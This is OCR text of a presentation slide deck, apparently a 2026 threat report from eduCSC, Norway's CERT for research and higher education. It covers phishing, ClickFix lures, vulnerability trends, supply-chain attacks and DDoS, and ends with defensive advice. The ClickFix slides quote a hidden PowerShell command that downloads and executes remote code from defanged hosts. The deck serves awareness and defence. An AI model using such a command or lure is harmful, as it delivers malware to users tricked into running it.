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eduCSC 2026

e Sectoral CERT for research and higher education
sector in Norway

e Collect, develop and share knowledge and
resources

® Support cooperation to ensure more effective
use of resources

® Approx. 17 person-years
® Teams:

® Data &~ "alysis

e Custo. é\/?);\mpliance

® Tools & inw.  istions



eduCSC Threat report
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Traffic light protocol (TLP)

Do not share with anyone else.

Limited disclosure. Share within your organisation and its clients

on a need-to-know basis.

TLP:GREEN Community-wide. Share with peers and partner organizations,
but not on public channels.

TLP:CLEAR No restrictions. Share freely.




Sources

Incidents stats: eduCSC and customers

Vulnerability scanning

National and international cooperation



Threat categories / attack vectors

e Compromised user accounts



Phishing

e AiTM-phishing: bypassing 2-factor authentication

e Exploiting compromised accounts
®.Nno
e Address lists
e Email threads



ClickFix: The user hacks herself!

Verify You Are Human

Please verify that you are a human to continue.

Verification Steps

%, I'mnot arobot 1. Press Windows Button " 5@ " + R

2. Press CTRL+V

3. Press Enter







ClickFix: The user hacks herself!

Verify You Are Human

Please verify that you are a human to continue.

Fereston EeRs

1. Press Windows Button " && " + R

2. Press CTRL+V

3. Press Enter







Command Prompt X + v

C:\>powershell.exe —w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content" # "? '
'T am not a robot - reCAPTCHA Verification ID: 93752"




ClickFix: The user hacks herself!

Verify You Are Human

Please verify that you are a human to continue.

Verification Steps

1. Press Windows Button " && "+ R
2. Press CTRL+V

powershell.exe -w hidden -Command 3. Press Enter
"1ex (iwr "https:// evil[.]com/download.txt’).
Content™ # "7 "'"I am not a rohot -

reCAPTCHA Verification ID: 93752"




Threat categories / attack vectors

e\ ulnerabilities



Vulnerability scan results

eIncreasing # of vulnerabilities
e Decreasing Time To Exploit
e Al amplifies both of these...

e Observation: Reported vulns are being closed fast
e Still: median is 3 days for critical...



Threat categories / attack vectors

eSupply chain attacks



Supply chain attacks

® Indirect attack: third-party
® One attack — many victims!
® “Poisoning” — inserting malware into (security) updates
® Education & research:
® Open-source repositories
e Limited control

® Scarce resources



Threat categories / attack vectors

e Availability: DDoS & digital sovereignty



Availability: Denial of service
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Threat actors

e State actors / “Advanced Persistent Threat”
® Cybercrime

e Hacktivists



Availability: Resources unavailable

“Who turned off Teams?”

“Why isn’t my credit card working?”



Digital sovereignty

* |CC employees lost email
accounts and credit cards

e 7 Dutch universities blacklisted
by Florida

Karim Khan, former ICC prosecutor
Source: Wikimedia.org

License: CC Attribution 2.0 generic licence



https://creativecommons.org/licenses/by/2.0/deed.en
https://creativecommons.org/licenses/by/2.0/deed.en

What to do?



Know your systems — and patch them!

Exercise!

Share and cooperate!
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Share!

e|ncidents
e®Expertise
el osses

eSuccesses

eTogether we become stronge



Sikt
Norwegian Agency for Shared
Services In Education and Research



